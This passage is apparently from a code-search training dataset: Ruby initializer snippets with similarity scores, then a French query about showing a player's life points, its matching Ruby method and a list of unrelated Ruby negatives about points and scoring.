nombre es asignada a la var. de instancia @nombre, al realizar esto cada instancia tendra un valor propio.\n @edad = edad #--> lo mismo para edad\n\nend", "def initialize \n\t@first_player = Player.new(\"joueur 1\")\n\t@second_player = Player.new(\"joueur 2\")\n\t self.create_board\n\t self.play_until_victory\n end", "def initialize\n #Initialize list of players\n @player_list = []\n @highscore_list = []\n end", "def init players\n @setup[players.size.to_s].each do |player_id, nodes|\n player_id = player_id.to_i\n nodes.each do |node|\n find_node( node['node'] ).owner = player_id\n find_node( node['node'] ).add_soldiers player_id, node['number_of_soldiers']\n end\n end\n end", "def init_players(names)\n \n \n @dealer = CardDealer.instance\n \n #Inicializamos el array de jugadores\n @players = Array.new\n \n #Recorremos los nombres pasados y creamos tantos jugadores como nombres\n names.each do |s|\n\n players << Player.new(s)\n\n end\n end", "def initialize(...)\n super\n mon_initialize\n end", "def initialize\n @workout_history = []\n # @workout_history = ExerciseHistory.new() #because, if we're initializing a NEW user. they HAVENO HISTORY\n # @workout_history = workout_history\n # @first_name = first_name\n end", "def post_initialize\n end", "def pre_initialize\n end", "def initialize\n @@cuenta += 1\n #contador ... tambien se puede poner @@cuenta = @@cuenta + 1\n end", "def install_initial_state\n db = kernel.resources.db\n db.default.submissions = []\n db.default.valid_submissions = []\n db.default.challengers = []\n db.default.people = (1..5).collect{|i| user_tuple(i, true) }\n db.default.challengers = (1..5).collect{|i| challenger_tuple(i) }\n end", "def initialize (nombre, saturadas, monoinsaturadas, polinsaturadas, azucares, polialcoles, almidon, fibra, proteinas, sal)\n\t\t@nombre, @saturadas, @monoinsaturadas, @polinsaturadas, @azucares, @polialcoles, @almidon, @fibra, @proteinas, @sal = nombre, saturadas, monoinsaturadas, polinsaturadas, azucares, polialcoles, almidon, fibra, proteinas, sal\n\tend", "def init_maqj_data\n @quests = Game_Quests.new # Initialize @quests\n end", "def post_init\n end", "def at_init\n\n\t\tend", "def init(num_users)\n (1..num_users).each do |i|\n $score_board[i] = 0\n $user_is_in_game[i] = false\n end\nend", "def init_player_hands\n\n @player1_hand = []\n @player2_hand = []\n @player3_hand = []\n @player4_hand = []\n\n end", "def initialize(lessons)\n @lessons = lessons\n end", "def init_maqj_data\n # Initialize new variables\n self.quest_menu_access = QuestData::MENU_ACCESS\n @quest_map_access = QuestData::MAP_ACCESS\n @quest_sort_type = QuestData::SORT_TYPE\n @quest_bg_picture = QuestData::BG_PICTURE\n @quest_bg_opacity = QuestData::BG_OPACITY\n @quest_bg_blend_type = QuestData::BG_BLEND_TYPE\n @quest_windowskin = QuestData::WINDOWSKIN\n @quest_window_tone = QuestData::WINDOW_TONE\n @quest_window_opacity = QuestData::WINDOW_OPACITY\n @quest_access_disabled = false\n @quest_categories = QuestData::CATEGORIES\n @quest_scene_label = QuestData::VOCAB[:scene_label]\n @last_quest_cat = @quest_categories[0]\n @last_quest_id = 0\n end", "def init\n\n unless Dir.exists?(\"#{@home}/.polaris\")\n Dir.mkdir(\"#{@home}/.polaris\")\n end\n\n puts \"Download data...\"\n ja_text = open('http://www.lr.pi.titech.ac.jp/%7Etakamura/pubs/pn_ja.dic').read.encode('utf-8','sjis')\n en_text = open('http://www.lr.pi.titech.ac.jp/%7Etakamura/pubs/pn_en.dic').read.encode('utf-8','sjis')\n puts \"Done\"\n\n if File.exists?(\"#{@home}/.polaris/features.sqlite3\")\n FileUtils.rm(\"#{@home}/.polaris/features.sqlite3\")\n end\n\n db = SQLite3::Database.new(\"#{@home}/.polaris/features.sqlite3\")\n db.execute(\"CREATE TABLE models (word TEXT ,value REAL);\")\n\n puts \"Seed Japanese data...\"\n ja_text.split(\"\\n\").each do |line|\n item = line.split(':')\n word = item[0]\n value = item[3]\n insert_value(db,word,value)\n end\n puts \"Done\"\n\n puts \"Seed English data...\"\n en_text.split(\"\\n\").each do |line|\n item = line.split(':')\n word = item[0]\n value = item[2]\n insert_value(db,word,value)\n end\n puts \"Done\"\n\n end", "def initialize (num_legs) #You can put specific table material in initialize\n\t\t@tabletop = []\n\t\t@num_legs = num_legs\n\tend", "def initialize()\r\n\t\t@time = Timer.new # the time the user has made\r\n\t\t@penalty = Penalty.new # the penalty time on the map\r\n\t\tself.reset()\r\n\tend", "def initialize\n\t\t\n\tend", "def initialize(*args)\n super\n mon_initialize\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize\n\t\t@vida = 1\n\t\t@forca = 1\n\t\t@carisma = 1\n\t\t@arma = 1\n\tend", "def initialize( plateau_de_jeu , name)\n @plateau= plateau_de_jeu\n @pion = @@numero_pion\n @nom = name\n @@numero_pion += 1\n end", "def completerInitialize()\n plusX = @sommet1.position.x - @sommet2.position.x == 0 ? 0 : 1\n plusY = @sommet1.position.y - @sommet2.position.y == 0 ? 0 : 1\n\n laMatrice = @sommet1.position.grille.table\n caseAct = laMatrice[@sommet1.position.x + plusX, @sommet1.position.y + plusY]\n loop do\n @listeCase.push(caseAct)\n caseAct.contenu = self\n caseAct = laMatrice[caseAct.x + plusX, caseAct.y + plusY]\n break if caseAct.contenu == @sommet2\n end\n @sommet1.ajouterArete(self)\n @sommet2.ajouterArete(self)\n @sommet1.position.grille.addArete(self)\n end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def initialize(num_legs)\n\t\t@tabletop = []\n @num_legs = num_legs\n \tend", "def initialize() # Metodo construtor\r\n \t@caixas = [0,0,0,0,0]\r\n\tend", "def initialize\n self.daily = Array.new\n self.incluidos=Array.new\n self.ingresados=Array.new\n\n end", "def init_values\n @id = nil\n @name = nil\n @parent_id = nil\n end", "def auto_initialize!\n # noop by default\n end", "def initialize(longueur, largeur)\n @longueur = longueur\n @largeur = largeur\n @table = Matrix.build(@longueur, @largeur){|row, col| Case.new(row, col)}\n @sommets = Array.new()\n @aretes = Array.new()\n end", "def initialize(longueur, largeur)\n @longueur = longueur\n @largeur = largeur\n @table = Matrix.build(@longueur, @largeur){|row, col| Case.new(row, col)}\n @sommets = Array.new()\n @aretes = Array.new()\n end", "def initialize(self)\n self.objects = []\n self.agents = []\n end", "def after_initialize\n end", "def initialize(parms)\n \n # Enlever les activites\n tmpActivites = parms && parms.delete(:activites) || nil\n tmpParticipations = parms && parms.delete(:participations) || nil\n \n super\n \n # Lorsque la date est sous forme de hash {:year, :month, :day}, faire la conversion\n if parms && parms[:naissance] && parms[:naissance][:year]\n nd = parms.delete(:naissance)\n self.naissance = Date.civil(nd[:year].to_i, nd[:month].to_i, nd[:day].to_i)\n else\n self.naissance = Date.civil(Date.today.year - 5, 7, 15)\n end\n \n saveActivites(tmpActivites)\n saveParticipations(tmpParticipations)\n \n # Des defaults\n self.nom = '' unless parms && parms[:nom]\n self.prenom = '' unless parms && parms[:prenom]\n self.activites.build unless parms\n self.participations.build unless parms\n self.nom.capitalize!\n self.prenom.capitalize!\n end", "def initialize\n\t\t#TO DO :\n\t\t# #Quand la classe s'initialize, elle doit créer 9 instances BoardCases\n\t\t# #Ces instances sont rangées dans une array qui est l'attr_accessor de la classe\n\tend", "def mon_initialize\n @mon_owner = nil\n @mon_count = 0\n @mon_entering_queue = []\n @mon_waiting_queue = []\n end", "def init; @entries = [] end", "def initialize\n @mode = game_set_mode\n @turn_obj = Turn.new\n @solution_obj = Solution.new\n @human_solution_obj = HumanSolution.new\n @computer_solve_obj = ComputerSolver.new\n end", "def initialize()\n @memory = 0\n @variables = Array.new\n @nombres = Array.new\n @salidaF = \"\"\n end", "def initialize\n\n\t\t\t# The speed of the music\n\t\t\t@tempo = 77\n\n\t\t\t# The number of MidiFormat objects\n\t\t\t@num_midi_seqs = 0\n\n\t\t\t# An array of MidiFormat objects\n\t\t\t@midi_format_array = Array.new\n\t\tend", "def initialize #everytie an instance of the class is initialized, we should push it into the @@all class variable\n @@all << self\n end", "def after_initialize\n end", "def after_initialize\n end", "def initialize\n @rechnungen = []\n end", "def initialize\n @rechnungen = []\n end", "def initialize_table; end", "def mon_initialize\n @mon_owner = nil\n @mon_count = 0\n @mon_mutex = Mutex.new\n end", "def post_init\n end", "def initialize_hotels\n Hotel.all.each do |hotel|\n GameHotel.create(name: hotel.name, hotel_id: hotel.id, game_id: self.id, chain_size: 0, share_price: 0)\n end\n end", "def initialize \n @rechnungen = []\n end", "def initialize\n\n\n\n end", "def init_players\r\n markers = MARKERS.dup\r\n (1..NUM_PLAYERS).each do |player_num|\r\n player_type = multiple_choice(\"Choose player #{player_num} type\",\r\n 'h' => Human, 'c' => Computer)\r\n @players << player_type.new(markers.pop)\r\n end\r\n end", "def init_for_battle\n super\n self.song_count = 0\n initialize_anger\n end", "def initialize\n\t\t@@voters = []\n\t\t@@politicians = []\n\n\tend", "def initialize(name1, name2)\n @player_1_name = name1\n @player_2_name = name2\n\n # there are 14 cups in the Mancala board.\n # each cup can store a number of stones\n @cups = Array.new(14){Array.new}\n\n # fills the non-store cups with four stones\n @cups.each_with_index do |cup, idx|\n # we do not add 4 stones to index 6 and 13\n unless idx == 6 || idx == 13\n 4.times{cup << :stone}\n end\n end\n end", "def init\n\n end", "def initialize\n @planned, @removed, @added = [], [], []\n parse_week\n @jiras = Jiras.new\n end", "def init_game\n @io.welcome_msg\n @num_decks = @io.get_num_decks \n @player_cnt = @io.get_player_cnt(@max_players)\n players_names = @io.get_players_names\n\n # Initialize player objects\n 0.upto(players_names.length - 1) do |x|\n @players[x] = Player.new(players_names[x], @bankroll)\n end\n\n # Create the dealer and add as a player\n @dealer = Dealer.new\n @dealer.hit_soft_17 = @hit_soft_17\n @players[@players.length] = @dealer\n end", "def initialize(parametros)\n # En cada variable intanciada le asignamos un hash con la variable correspondiente\n @villano = parametros[:villano]\n @frase = parametros[:frase]\n end", "def initialize(stap=5,aantal=34)\n @stap = stap\n @monte_carlos = []\n aantal.times do |x|\n van = x*stap\n tot = (x+1)*stap-1\n @monte_carlos[tot] = MonteCarlo.from_db(van,tot)\n end\n end", "def initialize(texto_portugues, texto_ingles)\n @texto_portugues = texto_portugues\n @texto_ingles = texto_ingles\n end", "def setup_starting_members\r\n @actors = []\r\n log_info(\"Initial party members : #{$data_system.party_members}\")\r\n for i in $data_system.party_members\r\n @actors.push($game_actors[i])\r\n end\r\n end" ]
[ "0.6905259", "0.6690974", "0.6602307", "0.63684464", "0.62038183", "0.61731565", "0.6159223", "0.6113889", "0.6084365", "0.60441357", "0.60441357", "0.60151714", "0.5966624", "0.5945264", "0.593643", "0.59147584", "0.5903716", "0.5903069", "0.58777255", "0.58740985", "0.58740985", "0.58740985", "0.58740985", "0.5873257", "0.58673126", "0.58052886", "0.5799429", "0.57773507", "0.5762228", "0.5755374", "0.57488054", "0.5743901", "0.5739067", "0.5736371", "0.57351995", "0.5727765", "0.5724832", "0.5724207", "0.5697153", "0.569566", "0.5690072", "0.5686428", "0.5686341", "0.56829554", "0.56813484", "0.5678251", "0.5677291", "0.5676092", "0.5660038", "0.56571984", "0.56536275", "0.56498134", "0.5646149", "0.56430906", "0.56430906", "0.56430906", "0.5642365", "0.56375366", "0.5634489", "0.5634103", "0.5634103", "0.5634103", "0.5634103", "0.5624355", "0.561646", "0.5612238", "0.561059", "0.560764", "0.5594204", "0.55936944", "0.55928516", "0.5589412", "0.5589267", "0.55876577", "0.55771726", "0.557495", "0.55684614", "0.5566362", "0.55635583", "0.55634433", "0.5562337", "0.5562337", "0.556084", "0.556084", "0.5560734", "0.5556897", "0.5555045", "0.5552975", "0.55522394", "0.5549448", "0.5547835", "0.55474544", "0.5541109", "0.5530144", "0.55263984", "0.5524947", "0.5524114", "0.5521713", "0.5518387", "0.55175126", "0.5511389" ]
0.0
-1
Affiche les points de vie d'un joueur
def show_state puts "#{@name} à #{@life_points} points de vie" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def points; end", "def points()\n\t\t\tfilter()\n\t\t\treturn @points_floor + @points_ceil.reverse\n\t\tend", "def points\n []\n end", "def points\n -1\n end", "def points\n 1\n end", "def points\n @results.inject(0.0) { |t, r| t += r.points }\n end", "def points #:nodoc:\n [self]\n end", "def points #:nodoc:\n [self]\n end", "def points() \n\t\t(self.wins()*3+self.draws()) \n\tend", "def points\n @puntos = 0\n students.each do |s| \n @puntos += s.points\n end\n @puntos += house_points\n end", "def points\n return 0 if event.trial? || event.trialed?\n\n points_if_not_trial\n end", "def points\n @obj['points']\n end", "def points\n MSPhysics::Newton::CurvySlider.get_points(@address)\n end", "def points\n MSPhysics::Newton::CurvySlider.get_points(@address)\n end", "def get_contour_points_adv()\r\n result = []\r\n idx = 0\r\n result[idx] = Offset.vertices(@active_face.outer_loop.vertices, -(@bit_diameter * 0.5)).offsetPoints\r\n# puts \" outer #{result[idx].length} #{result[idx]} \"\r\n @active_face.loops.each { |lp|\r\n if (!lp.outer?)\r\n idx += 1\r\n result[idx] = Offset.vertices(lp.vertices, -(@bit_diameter * 0.5) ).offsetPoints \r\n# puts \" inner[#{idx}] #{result[idx]}\" \r\n end\r\n }\r\n return result \r\nend", "def current_pts\n self.score\n end", "def adjourn_points_giocataend\r\n # at the end of the game remain to calculate the primiera\r\n player1 = @players[0]\r\n player2 = @players[1]\r\n hand1 = @carte_prese[player1.name]\r\n hand2 = @carte_prese[player2.name]\r\n prim_res_arr = calculate_primiera(hand1, hand2)\r\n @log.debug(\"Primiera of #{player1.name}:#{prim_res_arr[0]}, #{player2.name}: #{prim_res_arr[1]}\")\r\n # update points on all players\r\n ix = 0\r\n [player1, player2].each do |pl|\r\n points_info = @points_curr_segno[pl.name]\r\n points_info[:primiera] = prim_res_arr[ix]\r\n #calculate total\r\n tot = 0\r\n points_info.each do |k,v|\r\n next if k == :tot\r\n tot += v\r\n end\r\n points_info[:tot] = tot\r\n ix += 1\r\n end\r\n end", "def points\n self.votes.inject(0) { |points, vote| points + vote.value }\n end", "def points\n self.votes.inject(0) { |points, vote| points + vote.value }\n end", "def tourSuivant( vue )\n\t\t@nbTour += 1\n\t\tlistePNJ = Array.new\n\t\tvue.each do |y|\n\t\t\ty.each do |x|\n\t\t\t\tif x.pnj\n\t\t\t\t\tlistePNJ.push(x.pnj)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tlistePNJ.each do |x|\n\t\t\tx.comportement( joueur )\n\t\tend\n\t\tif joueur.pointsDeVie <= 0\n\t\t\t@controleur.gameOver\n\t\tend\n\tend", "def base_points\n points\n end", "def points\n [top_left, top_right, bottom_left, bottom_right]\n end", "def initialize()\n @points = []\n end", "def get_measured_points\n measured_points.points\n end", "def all_points\n\t\tcase @orientation\n\t\twhen :vertical\n\t\t\tx = @points[0][:x]\n\t\t\tys = [@points[0][:y],@points[1][:y]]\n\t\t\t(ys.min..ys.max).map{|y| {:x => x, :y => y}}\n\t\twhen :horizontal\n\t\t\txs = [@points[0][:x],@points[1][:x]]\n\t\t\ty = @points[0][:y]\n\t\t\t(xs.min..xs.max).map{|x| {:x => x, :y => y}}\n\t\tend\n\tend", "def simple_points(frames)\n all_rolls(frames).sum\n end", "def step_points\n points.select { |point| point.kind == \"Step\" }\n end", "def relative_range_era(points)\n relative_range = []\n player = $game_player\n x,y = player.x, player.y\n points.each do |v|\n relative_range.push(Vertex.new(v.x + x, v.y + y))\n end\n relative_range\n end", "def point_count\n puts \"#{@player1.name}'s points: #{@player1.point}\\n#{@player2.name}'s points: #{@player2.point}\"\n end", "def addPoints(points) \n\t\t@points += points\n\tend", "def initialize_points\n self.current_points = 0\n self.expiring_points = 0\n end", "def points(name, since=nil)\n stats = query(name, since)\n datapoints = stats[:datapoints]\n\n points = []\n count = 1\n\n (datapoints.select { |el| not el[0].nil? }).each do |item|\n points << { x: count, y: get_value(item)}\n count += 1\n end\n\n return points\n end", "def current_points(game)\n game_cards ? game_cards.where(game: game).map(&:card).map(&:value).sum : 0\n end", "def source_pts; end", "def points\n db[:points]\n end", "def points\n @data['points'].to_i\n end", "def onalg_player_has_getpoints(player, points)\r\n log str = \"#{player.name} ha fatto #{points} punti di accusa\\n\"\r\n \r\n if @option_gfx[:use_dlg_on_core_info]\r\n @msg_box_info.show_message_box(\"Punti ricevuti\", str, false)\r\n end\r\n \r\n # adjourn points\r\n @cards_taken.adjourn_points(player, points)\r\n \r\n if @option_gfx[:autoplayer_gfx]\r\n @alg_auto_player.onalg_player_has_getpoints(player, points)\r\n end\r\n \r\n # refresh the display\r\n @app_owner.update_dsp\r\n end", "def screen_points(dc, data, target)\n [[0, 0]]\n end", "def size\n\t\tx,y = 0,0\n\t\t@points.each do |point|\n\t\t\tx = point[0]\tif point[0] > x\n\t\t\ty = point[1]\tif point[1] > y\n\t\tend\n\t\treturn [x,y]\n\tend", "def map(points)\n points\n end", "def discover_points # step 1\r\n x = 0\r\n y = 0\r\n @image_arr.each do |row|\r\n x = 0\r\n row.each do |cell|\r\n if cell == 1 # discovered the cell is 1\r\n @ordinal_arr.push([y,x]) # this is where i push the ordinals.\r\n puts \"#{y},#{x}\"\r\n end\r\n x = x + 1\r\n end\r\n y = y + 1\r\n puts \"\" \r\n end\r\n end", "def who_win\n @players.each do |player|\n result_sum = 0\n player.cards_wins.each do |cards|\n result_sum += cards.value.to_i\n end\n player.points = result_sum\n end\n players_win = @players.sort_by(&:points).reverse![0]\n puts 'GANADOR--------GANADOR---------GANADOR----'\n puts \"Nombre: #{players_win.name} || Puntos: #{players_win.points}\"\n #players_win.cards_wins.each do |cards|\n # puts cards.id\n #end\n @players.each do |player|\n puts ''\n puts player.name\n puts 'Cartas: '\n player.cards_wins.each do |cards|\n print \"#{cards.id}\"\n print ' || '\n end\n end\n end", "def points\n object.polygon.points\n end", "def hit_points\n @hit_points\n end", "def x_points\n points = [[], []]\n (0...height).each do |y|\n (0...width).each do |x|\n if (array[y][x]).nonzero? && (x - 1 < 0 || (array[y][x - 1]).zero?)\n points[0] << Point.new(x - 1, y) + @position\n end\n\n if (array[y][x]).nonzero? && (x + 1 >= length || (array[y][x + 1]).zero?)\n points[1] << Point.new(x + 1, y) + @position\n end\n end\n end\n\n points\n end", "def get_points(count = 1)\n points = []\n count.times do\n points << get_point\n end\n\n points\n end", "def points\n points_by_round = [nil, 3, 5, 8, 13, 21, 34]\n points_by_round[@game.round] + @winner.seed\n end", "def adjourn_points_manoend(player)\r\n carte_num = 0\r\n points_info = @points_curr_segno[player.name]\r\n denari_arr = [] # array of denari using index\r\n @log.debug \"Cards taken by #{player.name}: #{@carte_prese[player.name].join(\",\")}\"\r\n @carte_prese[player.name].each do |card|\r\n carte_num += 1\r\n if @deck_information.get_card_segno(card) == :D\r\n ix = @deck_information.get_card_rank(card)\r\n # carta di denari\r\n denari_arr << ix\r\n end\r\n if @deck_information.get_card_logical_symb(card) == :set and \r\n @deck_information.get_card_segno(card) == :D\r\n # 7 bello onore\r\n points_info[:setbel] = 1\r\n end\r\n end\r\n points_info = @points_curr_segno[player.name]\r\n # cards points\r\n if carte_num > 20\r\n points_info[:carte] = 1\r\n elsif carte_num == 20\r\n points_info[:carte] = 0\r\n end\r\n # spade points\r\n if denari_arr.size == 5\r\n points_info[:denari] = 0\r\n elsif denari_arr.size > 5\r\n points_info[:denari] = 1\r\n end\r\n #napula\r\n if @game_opt[:vale_napola]\r\n points_info[:napola] = calc_napula_points(denari_arr)\r\n else\r\n points_info[:napola] = 0\r\n end\r\n #calculate total\r\n tot = 0\r\n points_info.each do |k,v|\r\n next if k == :tot\r\n tot += v\r\n end\r\n points_info[:tot] = tot\r\n end", "def goal_points\n self[:goal]\n end", "def accumulate_points(points)\n points.map{|point| point.value}.reduce(0, :+)\n end", "def calculate_player_points\n # Sort the teams by points in descending order. This way, the output will\n # follow the teams' finishing order, which will be easier to read.\n @teams.sort_by(&:points).reverse_each do |team|\n puts \"Awarding #{team.points} points to #{team.name}: \" +\n @players[team.id].map(&:to_s).join(\", \")\n\n @players[team.id].each do |player|\n player.points = team.points\n end\n end\n end", "def points(game = nil)\n points = 0\n\n if game\n coeficient = Coeficient.find(game.coeficient_id)\n get_participation_by_game game do |participation|\n opponents = get_opponents(game)\n\n points = points_formula(\n coeficient.value,\n game.number_of_teams,\n participation.position,\n opponents\n )\n end\n else\n Participation.find_all_by_player_id(self.id).each do |participation|\n game = Game.find(participation.game_id)\n coeficient = Coeficient.find(game.coeficient_id)\n opponents = get_opponents(game)\n\n points = points_formula(\n coeficient.value,\n game.number_of_teams,\n participation.position,\n opponents\n )\n end\n end\n points\n end", "def n\n points.size\n end", "def y_points\n points = []\n (0...width).each do |x|\n (0...height).reverse_each do |y|\n if (array[y][x]).nonzero? && (y + 1 >= height || (array[y + 1][x]).zero?)\n points << Point.new(x, y + 1) + @position\n end\n end\n end\n\n points\n end", "def points\n votes.sum(:value)\n end", "def points\n votes.sum(:value)\n end", "def total_point\n lecture.etcs_point\n end", "def velocity\n @moons.each do |moon|\n moon[:position][:x] += moon[:velocity][:x]\n moon[:position][:y] += moon[:velocity][:y]\n moon[:position][:z] += moon[:velocity][:z]\n end\n end", "def areatrapezoide\n\t\tdt = 5\n\t\tsi = []\n\t\tgi.each do |i|\n\t\t\ts = (((gi[i]-gi[0]) + ((gi[i - 1]) - gi[0])) /2 ) * dt\n\t\t\tsi.push(s)\n\t\tend \n\t\treturn si\n\tend", "def tour_from_points(points, options = {})\n options.merge!({\n :pause => 1,\n :exaggerate => 1\n }) { |key, old, new| old }\n TelemetryProcessor.options = options\n (0..(points.size-3)).each do |i|\n TelemetryProcessor::add_flyto points[i,3]\n end\n end", "def index\n @check_points = CheckPoint.all\n\n @polylines = []\n @check_points.each_with_index do |row, i|\n next_row = @check_points[i + 1]\n if next_row.nil?\n next_row = @check_points.first\n end\n\n hash = [\n {lat: row.latitude, lng: row.longitude},\n {lat: next_row.latitude, lng: next_row.longitude}\n ]\n @polylines << hash\n end\n end", "def tourDejeu()\n\t\t#partie Joueur\n\t\tif @type != \"ia\"\n\t\t\tputs \"A moi de jouer (#{nom})\"\n\t\t\tprint \"ligne :\"\n\t\t\tx = gets.chomp()\n\t\t\tprint \"colonne :\"\n\t\t\ty = gets.chomp()\n\t\t\treturn [x.to_i - 1,y.to_i - 1,@forme, @type]\n\t\telse\n\t\t\tsleep(0.5)\n\t\t\tx = rand(1..3)\n\t\t\ty = rand(1..3)\n\t\t\treturn [x.to_i - 1,y.to_i - 1,@forme, @type]\n\t\tend\n\tend", "def points_for(source_result, team_size = nil)\n points = point_schedule[source_result.place.to_i].to_f\n if source_result.last_event?\n points = points * 2\n end\n points\n end", "def winner\n @position.each do |pl, pos|\n if pos >= @length\n pl\n end\n end\n end", "def each_point\n @points.each {|pt| yield pt }\n end", "def point_list\n @user_point = UserPoint.find_by_user_id(current_user.id)\n end", "def petunin(points)\n\tif points.size() < 4\n\t\tputs \"Error on #{__LINE__} in #{__FILE__}\"\n\t\texit(1)\n\tend\n\t#return [x,x0,y,y0]\n\trect = find_rect(points)\n\tdx, phi, coef = get_transf_coef(rect)\n\tdx.each {}\n\t#rect = translate(rect, -dx[0], -dx[1])\n\trect = rotate(rect, phi)\n\trect = scale(rect, 1.0, coef)\n\n\t#points = translate(points, -dx[0], -dx[1])\n\tpoints = rotate(points,phi)\n\tpoints = scale(points, 1, coef)\n\n\tcentre = rect[0].zip(rect[2]).to_a.map { |u,v| (u+v)/2 }\n\trs = []\n\tpoints.each do |p|\n\t\trs << [dist(p, centre), p]\n\tend\n\trs = rs.sort\n\n\tres = []\n\n\trs.each do |r,p|\n\t\tel = Ellipse.new\n\t\tel.centre = centre\n\t\tel.axes = [r]*2\n\n\t\t#back\n\t\tel.scale(1, 1/coef)\n\n\t\tel.rotate(-phi)\n\t\tres << [el,p]\n\tend\n\n\treturn res\n\n\t# For testing reasons only\n\n\t#rect = scale(rect, 1, 1/coef)\n\t#points = scale(points, 1, 1/coef)\n\t#rect = rotate(rect, -phi)\n\t#points = rotate(points, -phi)\n\t#points.map! { |x| [x] }\n\n\t#points + [rect] + res.inject([]) { |sum,el| sum + [el.get_draw_data] }\nend", "def forward(pasos)\n\t\tif pasos < 0\n\t\t\tself.backward(pasos.abs)\n\t\telse\n\t\t\tpunto_final = self.calcularPuntoFinal(pasos)\t# Calculo del punto final de la trayectoria\n\n\t\t\txf = self.index2point(punto_final[0])\n\t\t\tyf = self.index2point(punto_final[1])\n\t\t\tx0 = self.index2point(@x)\n\t\t\ty0 = self.index2point(@y)\n\n\t\t\tm = self.pendiente(x0,y0,xf,yf)\t# Pendiente de la recta, constante A de la ecuacion general de la recta\n\t\t\tc = y0-m*x0 \t\t\t\t\t# Constante C de la ecuacion general de la recta\n\t\t\t\n\t\t\t# Definimos los limites de la iteracion\n\t\t\tif @x <= punto_final[0]\t\n\t\t\t\tx0 = @x\n\t\t\t\txf = punto_final[0]\n\t\t\telse\n\t\t\t\tx0 = punto_final[0]\n\t\t\t\txf = @x\n\t\t\tend\n\t\t\tif @y <= punto_final[1]\t\n\t\t\t\ty0 = @y\n\t\t\t\tyf = punto_final[1]\n\t\t\telse\n\t\t\t\ty0 = punto_final[1]\n\t\t\t\tyf = @y\n\t\t\tend\n\t\t\t\t\n\t\t\t# Pintar la trayectoria\n\t\t\t(x0..xf).each do |x|\n\t\t\t\t(y0..yf).each do |y|\n\t\t\t\t\t#puts \"#{x} #{y} puntos x,y\"\n\t\t\t\t\tauxX = self.index2point(x)\n\t\t\t\t\tauxY = self.index2point(y)\n\t\t\t\t\t#puts \"#{auxX} #{auxY} puntos aux x,y\"\n\t\t\t\t\tdistancia = (m*auxX-1*auxY+c).to_f.abs/Math.sqrt(m*m+1)\t# Distancia desde un punto a una recta\n\t\t\t\t\t#puts \"#{distancia} distancia\"\n\t\t\t\t\tif distancia <= Math.sqrt(2)/2\t# Distancia maxima para pintar el punto\n\t\t\t\t\t\tif @pintar && x >= 0 && x < @tam_ancho && y >= 0 && y < @tam_alto\n\t\t\t\t\t\t\t#puts \"PINTE\"\n\t\t\t\t\t\t\t@plano[y][x] = 1\t\t# Ya que en realidad (x,y) representa a la fila y, columna x\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tself.setposition(punto_final[0],punto_final[1])\t# Continuamos el dibujo desde el punto final\n\t\tend\t\n\tend", "def extremes\n point = @points[0]\n #puts \"next\"\n #p [point.x, point.y]\n left = right = point.x # @position.x + point.x\n top = bottom = point.y # @position.y + point.y\n @points[1..-1].each do |point|\n #p [point.x, point.y]\n x, y = point.to_a # (@position + point).to_a\n left = x if x < left\n right = x if x > right\n top = y if y < top\n bottom = y if y > bottom\n end\n #p [left, right, top, bottom]\n [left, right, top, bottom]\n end", "def judged_points(all_scores, score)\n place = judged_place(all_scores, score)\n my_ties = all_scores.count(score) - 1\n\n points(place, my_ties)\n end", "def display_coordinates\n puts 'persons'\n @all_persons.each do |person|\n puts \"X: #{person.get_x_location} \\nY: #{person.get_y_location}\\n\"\n end\n puts 'MONSTERS'\n @all_monsters.each do |monster|\n puts \"X: #{monster.get_x_location} \\nY: #{monster.get_y_location}\\n\"\n end\n puts 'STRAWBERRIES'\n @all_strawberries.each do |strawberry|\n puts \"X: #{strawberry.get_x_location} \\nY: #{strawberry.get_y_location}\\n\"\n end\n puts 'MUSHROOMS'\n @all_mushrooms.each do |mushroom|\n puts \"X: #{mushroom.get_x_location} \\nY: #{mushroom.get_y_location}\\n\"\n end\n end", "def neighbor_points point\n validate_point(point)\n row, col, height = point[0], point[1], point[2]\n offsets = [[-1,-1,0], [-1,0,0], [0,-1,0], [0,1,0], [1,0,0], \\\n [1,1,0], [0,0,1], [0,0,-1]]\n offsets.map do |r,c,h|\n [row+r, col+c, height+h]\n end\n end", "def my_points(distances,paths,x_s,subroutines=nil)\n if distances.uniq == distances\n sorted = distances.sort\n end\n points = Array.new(x_s.count){0}\n\n i = 0\n my_dists = []\n my_points = []\n while points != Array.new(x_s.count){2} && sorted[i] != nil\n p1, p2 = paths[distances.index(sorted[i])]\n \n usable = true\n if subroutines\n subroutines.each do |sub|\n if sub.has_how_many_points_in(my_points) >= (sub.count - 1)\n usable = false\n end\n end\n end\n \n if points[p1] < 2 && points[p2] < 2 && usable\n my_dists << sorted[i]\n my_points << [p1,p2]\n points[p1] += 1\n points[p2] += 1\n p points\n p my_points\n puts\n end\n if (i + 1) < sorted.count\n i += 1\n else\n i = 0\n end\n end\n [my_points, my_dists]\nend", "def initialize(points, colour) #position, points, colour)\n super(colour) #position, colour)\n @points = points\n #puts \"PointsPart\"\n #@points.each { |p| puts \"(#{p.x}, #{p.y})\" }\n end", "def win_pts\n self.score += 1\n end", "def points_gfx_mano_end_set(curr_points_info, player)\r\n curr_points_info.each do |pt_item|\r\n player_label = player.name.to_sym\r\n \r\n if pt_item[:scopa]\r\n @points_status[player_label][:scopa] += pt_item[:scopa]\r\n @points_status[player_label][:widg_scopa].font_color = @color_signal \r\n log \"#{player.name} ha fatto scopa\"\r\n end\r\n end\r\n end", "def tourDejeu()\n\t\tputs \"A moi de jouer (#{nom})\"\n\t\tprint \"ligne :\"\n\t\tx = gets.chomp()\n\t\tprint \"colonne :\"\n\t\ty = gets.chomp()\n\t\treturn [x.to_i - 1,y.to_i - 1,@forme]\n\tend", "def reset_points\n @points = 0\n @opponent.points = 0\n end", "def num_points win_condition\n points = 0\n @game_objects.each do |game|\n points += game.score_osu game_meets_win_cond win_condition, game\n end\n points\n end", "def immediate_neighbours(point)\n\t\t\tneighbours = []\n\t\t\t@new_points.each{|p|\n\t\t\t\tnext if p.items == point.items\n\t\t\t\td = distance(point.items,p.items)\n\t\t\t\tneighbours.push(p) if d < @epsilon\n\t\t\t}\n\t\t\tneighbours\n\t\tend", "def all_views(input)\n asteroid_positions(input).map do |p1|\n x = asteroid_positions(input).map { |p2| angle(p1, p2) }.compact.uniq.size\n puts 